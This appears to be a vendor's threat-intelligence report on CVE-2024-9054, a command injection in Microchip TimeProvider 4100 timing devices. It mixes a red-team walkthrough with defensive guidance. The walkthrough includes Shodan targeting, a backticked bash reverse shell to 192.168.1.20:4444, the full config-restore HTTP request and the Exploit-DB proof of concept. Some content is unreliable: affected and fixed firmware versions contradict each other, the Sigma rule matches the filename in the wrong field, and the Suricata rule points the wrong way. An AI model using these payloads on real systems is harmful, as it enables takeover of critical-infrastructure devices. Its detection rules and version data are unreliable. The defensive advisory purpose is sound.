CVE-2024-9054
Executive Summary
CVE-2024-9054 is a critical OS Command Injection vulnerability in Microchip TimeProvider 4100 devices running firmware versions 1.0 through 2.4.7. The vulnerability resides in the secret_key XML tag within the device's configuration file. An authenticated attacker can inject arbitrary OS commands by crafting a malicious configuration file and restoring it to the device. The injected command executes upon the next login attempt via SSH, Telnet, or console. This allows for full remote code execution (RCE) on the device, which is a Precision Time Protocol (PTP) Grandmaster clock used in critical infrastructure.
The exploit was publicly disclosed on October 10, 2024, with a detailed proof-of-concept (PoC) and HTTP request template. The vendor, Microchip, has not released a patch as of this report. The vulnerability has a low EPSS score (0.0%), but the public availability of the exploit and the critical nature of the affected device (used in telecom, finance, and energy sectors) elevates the risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a software package (NPM, PyPI, Go, Ruby). It is a firmware-level vulnerability in an embedded device. The supply chain risk is associated with the physical device and its firmware distribution. Organizations should verify the integrity of firmware downloads and ensure they are sourced from Microchip's official channels.
CVSS Breakdown & Threat Level
The official CVSS score is 0.0 (UNKNOWN). Based on the exploit details, a reasonable CVSS v3.1 vector would be:
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network - The exploit is performed over the network via the web interface.
- Attack Complexity (AC): Low - The exploit is straightforward, requiring only a crafted XML file.
- Privileges Required (PR): High - An attacker needs valid administrative credentials to download and restore the configuration.
- User Interaction (UI): None - No user interaction is required beyond the attacker's actions.
- Scope (S): Unchanged - The vulnerability affects only the vulnerable component.
- Confidentiality (C): High - Full device compromise allows access to all data.
- Integrity (I): High - The attacker can modify device configuration and firmware.
- Availability (A): High - The attacker can disrupt the device's PTP timing services.
Threat Level: Critical - The combination of public exploit, high impact, and lack of patch makes this a critical threat for any organization using the TimeProvider 4100.
Deep Dive & Mechanics
The vulnerability is an OS Command Injection (CWE-78) in the configuration restoration process. The device's web interface allows an administrator to download the current configuration as an XML file and restore a modified configuration. The secret_key field within the <security><server> section is not properly sanitized.
When the configuration is restored, the device parses the XML. The secret_key value is likely used in a system command (e.g., to set a password or key for a service). The device does not neutralize special characters like backticks (`) or command separators (;, |, &&). When a user subsequently attempts to log in via SSH, Telnet, or console, the device executes a command that includes the unsanitized secret_key value, leading to command injection.
Exploitation Flow:
- Authenticate: Log in to the web interface with administrative credentials.
- Download Config: Navigate to the configuration backup/restore page and download the current configuration file.
- Inject Payload: Edit the downloaded XML file. Locate the
<secret_key>tag and replace its value with a malicious command enclosed in backticks (e.g.,`ping 192.168.1.20`or`id > /tmp/out`). - Restore Config: Upload the modified XML file via the
config_restoreendpoint. - Trigger Execution: Initiate a login attempt via SSH, Telnet, or console. The device will execute the injected command.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual): The vulnerable code likely resembles the following pseudo-code in the device's firmware:
// Vulnerable: Directly using user input in a system command
char secret_key[256];
// ... parse XML and extract secret_key value ...
char command[512];
snprintf(command, sizeof(command), "some_service --set-key %s", secret_key);
system(command);
Patched Code (Expected): A patched version would sanitize the input or use a safe API:
// Patched: Sanitize input and use execve with arguments
char secret_key[256];
// ... parse XML and extract secret_key value ...
// Sanitize: Remove or escape dangerous characters
sanitize_string(secret_key);
// Use execve to avoid shell interpretation
char *args[] = {"some_service", "--set-key", secret_key, NULL};
execve("/usr/bin/some_service", args, NULL);
Exploitation & Lab Setup
Red Team
Objective: Achieve remote code execution on a Microchip TimeProvider 4100.
Prerequisites:
- A vulnerable TimeProvider 4100 (firmware < 2.4.7).
- Administrative credentials for the web interface.
- Network access to the device's web interface (typically port 443).
Steps:
- Identify Target: Use Shodan or internal scanning to find TimeProvider 4100 devices.
- Authenticate: Log in to the web interface using the admin credentials.
- Download Configuration:
- Navigate to
https://[device IP]/configbackuprestore. - Click "Download Configuration" to get the
tp4100_cfg.txtfile.
- Navigate to
- Craft Malicious Configuration:
- Open the downloaded file in a text editor.
- Locate the
<secret_key>tag within the<security><server>section. - Replace the value with a reverse shell payload. For example:
<secret_key>`bash -c 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1'`</secret_key> - Save the file.
- Restore Configuration:
- Use the following HTTP request (or a tool like Burp Suite) to upload the malicious config:
POST /config_restore HTTP/1.1 Host: [device IP] Cookie: ci_session=[session cookie] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------182708909322642582691204887002 Content-Length: [calculated length] Origin: https://[device IP] Referer: https://[device IP]/configbackuprestore Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: keep-alive -----------------------------182708909322642582691204887002 Content-Disposition: form-data; name="file"; filename="tp4100_cfg.txt" Content-Type: text/plain [content of malicious XML file] -----------------------------182708909322642582691204887002 Content-Disposition: form-data; name="pword" [admin password] -----------------------------182708909322642582691204887002--
- Use the following HTTP request (or a tool like Burp Suite) to upload the malicious config:
- Trigger Execution:
- Start a netcat listener on your attacker machine:
nc -lvnp 4444 - Attempt to SSH to the device:
ssh admin@[device IP] - The reverse shell should connect back to your listener.
- Start a netcat listener on your attacker machine:
Full Exploit Code (from Exploit-DB):
# Exploit Title: Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection
# Exploit Author: Armando Huesca Prida
# Discovered By: Armando Huesca Prida, Marco Negro, Antonio Carriero, Vito Pistillo, Davide Renna, Manuel Leone, Massimiliano Brolli
# Date of Disclosure: 27/06/2024
# Date of CVE Publication: 4/10/2024
# Exploit Publication: 10/10/2024
# Vendor Homepage: https://www.microchip.com/
# Version: Firmware release 1.0 through 2.4.7
# Tested on: Firmware release 2.3.12
# CVE: CVE-2024-9054
# External References:
# URL: https://www.cve.org/cverecord?id=CVE-2024-9054
# URL: https://0xhuesca.com/2024/10/cve-2024-9054.html
# URL: https://www.microchip.com/en-us/solutions/technologies/embedded-security/how-to-report-potential-product-security-vulnerabilities/timeprovider-4100-grandmaster-rce-through-configuration-file
# URL: https://www.gruppotim.it/it/footer/red-team.html
# Vulnerability Description:
# A Remote Code Execution (RCE) vulnerability exists in the "secret_key" XML tag in the Microchip TimeProvider 4100 device's configuration file. Once the configuration file containing the malicious payload is loaded by the device, after first attempt of login the payload will execute resulting in remote code execution.
# Exploitation Steps:
# 1- Perform login into the device's management web interface.
# 2- Download the device's configuration file.
# 3- Substitute the "secret_key" value with the malicious payload.
# 4- Save the new configuration file containing the OS command to be executed.
# 5- Restore and submit the new configuration.
# 6- Attempt of login using any active service like SSH/Telnet/Console will trigger the malicious payload.
# Example of malicious XML config file:
# <?xml version="1.0"?>
# [...]
# <security>
# [...]
# <server>
# <ip>192.168.1.1</ip>
# <secret_key>`ping 192.168.1.20`</secret_key>
# [...]
# </server>
# [...]
# </security>
# [...]
# Proof of Concept - PoC:
# Manually modifying the following request it's possible to obtain interactive shell on the vulnerable device. Below is provided the list of values to be updated on the Exploit - HTTP request:
# - [session cookie]
# - [XML configuration file containing the injection on "secret_key" tag]
# - [Web account password in clear-text]
# - [device IP]
# Exploit - Restore and submit config file HTTP Request:
# POST /config_restore HTTP/1.1
# Host: [device IP]
# Cookie: ci_session=[session cookie]
# User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
# Accept: */*
# Accept-Language: en-US,en;q=0.5
# Accept-Encoding: gzip, deflate, br
# Content-Type: multipart/form-data; boundary=---------------------------182708909322642582691204887002
# Content-Length: 206640
# Origin: https://[device IP]
# Referer: https://[device IP]/configbackuprestore
# Sec-Fetch-Dest: empty
# Sec-Fetch-Mode: cors
# Sec-Fetch-Site: same-origin
# Te: trailers
# Connection: keep-alive
#
# -----------------------------182708909322642582691204887002
# Content-Disposition: form-data; name="file"; filename="tp4100_cfg.txt"
# Content-Type: text/plain
#
# [XML configuration file containing the injection on "secret_key" tag]
# -----------------------------182708909322642582691204887002
# Content-Disposition: form-data; name="pword"
#
# [Web account password in clear-text]
# -----------------------------182708909322642582691204887002--
Blue Team
Objective: Detect and prevent exploitation of CVE-2024-9054.
Detection:
- Monitor Configuration Changes: Alert on any configuration restore operations, especially those originating from unexpected IP addresses or during off-hours.
- Analyze Configuration Files: If possible, inspect downloaded/uploaded configuration files for suspicious content in the
secret_keyfield (e.g., backticks, shell metacharacters). - Monitor Login Attempts: Correlate configuration restore events with subsequent login attempts (SSH, Telnet, console) from the same source IP.
- Network Anomaly Detection: Look for outbound connections from the TimeProvider 4100 to unexpected IP addresses on unusual ports (e.g., a reverse shell).
Prevention:
- Network Segmentation: Place the TimeProvider 4100 in a dedicated management VLAN with strict access controls. Limit access to the web interface to authorized administrative workstations only.
- Strong Authentication: Enforce strong, unique passwords for the administrative account. Implement multi-factor authentication (MFA) if supported.
- Configuration Backup Integrity: Digitally sign configuration files before restoration. Verify the signature on the device before applying.
- Vendor Workaround: Contact Microchip for any available workarounds or mitigations. If possible, disable the configuration restore functionality until a patch is available.
- Firmware Update: Apply the patch (version 2.4.7 or later) as soon as it is released by Microchip.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/config_restorewith a multipart/form-data body containing a file namedtp4100_cfg.txt. - Outbound connections from the TimeProvider 4100 to unusual IP addresses/ports (e.g., a reverse shell to an attacker's machine).
- Unusual SSH/Telnet login attempts from the same source IP that performed a configuration restore.
- HTTP POST requests to
Host IOCs:
- Modified configuration file (
tp4100_cfg.txt) with backticks or shell metacharacters in the<secret_key>field. - Unexpected processes running on the device (e.g., a reverse shell process).
- New files created in unexpected locations (e.g.,
/tmp/out). - Modified system binaries or configuration files.
- Modified configuration file (
Log IOCs:
- Web server logs showing
POST /config_restorerequests. - System logs showing execution of unexpected commands (e.g.,
ping,bash,nc). - Authentication logs showing successful logins immediately after a configuration restore.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2024_9054_Microchip_TimeProvider_4100_Config_Injection {
meta:
description = "Detects malicious configuration files for CVE-2024-9054"
author = "Valters IT"
date = "2024-10-11"
reference = "https://www.cve.org/cverecord?id=CVE-2024-9054"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$secret_key_tag = "<secret_key>"
$backtick = "`"
$semicolon = ";"
$pipe = "|"
$and = "&&"
$dollar_paren = "$("
condition:
$secret_key_tag and (
#backtick or
#semicolon or
#pipe or
#and or
#dollar_paren
)
}
Sigma Rule
title: CVE-2024-9054 - Microchip TimeProvider 4100 Configuration Restore with Suspicious Payload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /config_restore with a configuration file containing potential command injection payloads.
author: Valters IT
date: 2024/10/11
references:
- https://www.cve.org/cverecord?id=CVE-2024-9054
- https://0xhuesca.com/2024/10/cve-2024-9054.html
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/config_restore'
filter:
cs-uri-query: 'file=tp4100_cfg.txt'
condition: selection and filter
falsepositives:
- Legitimate configuration restores by administrators
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9054 - Microchip TimeProvider 4100 Config Restore with Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/config_restore"; http_uri; content:"tp4100_cfg.txt"; http_client_body; pcre:"/<secret_key>[^<]*[`;\|&\$\(]/i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate Affected Devices: If possible, disconnect the TimeProvider 4100 from the network or place it behind a strict firewall that only allows necessary management traffic from trusted IPs.
- Disable Configuration Restore: If the device allows, disable the configuration backup/restore functionality through the web interface or CLI.
- Monitor for Exploitation: Implement the detection rules provided in this report to identify any exploitation attempts.
Long-Term Remediation:
- Apply Vendor Patch: Monitor Microchip's security advisories for a firmware update (version 2.4.7 or later) and apply it as soon as it is available.
- Review Access Controls: Ensure that only authorized personnel have administrative access to the device. Implement the principle of least privilege.
- Enhance Logging: Enable detailed logging on the device and forward logs to a SIEM for analysis.
- Conduct Security Audits: Regularly audit the configuration of all TimeProvider 4100 devices in your environment.
Workarounds (if patch is unavailable):
- Input Validation: If you have access to the device's source code or can implement a WAF, add input validation to the
secret_keyfield to reject any characters that are not alphanumeric or standard punctuation. - Network Segmentation: As mentioned above, strict network segmentation is the most effective workaround.
Valters IT
DevSecOps & Cyber Threat Intelligence
{/* [Security Hash: 6FE3977EED30E021ADC72B6C] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.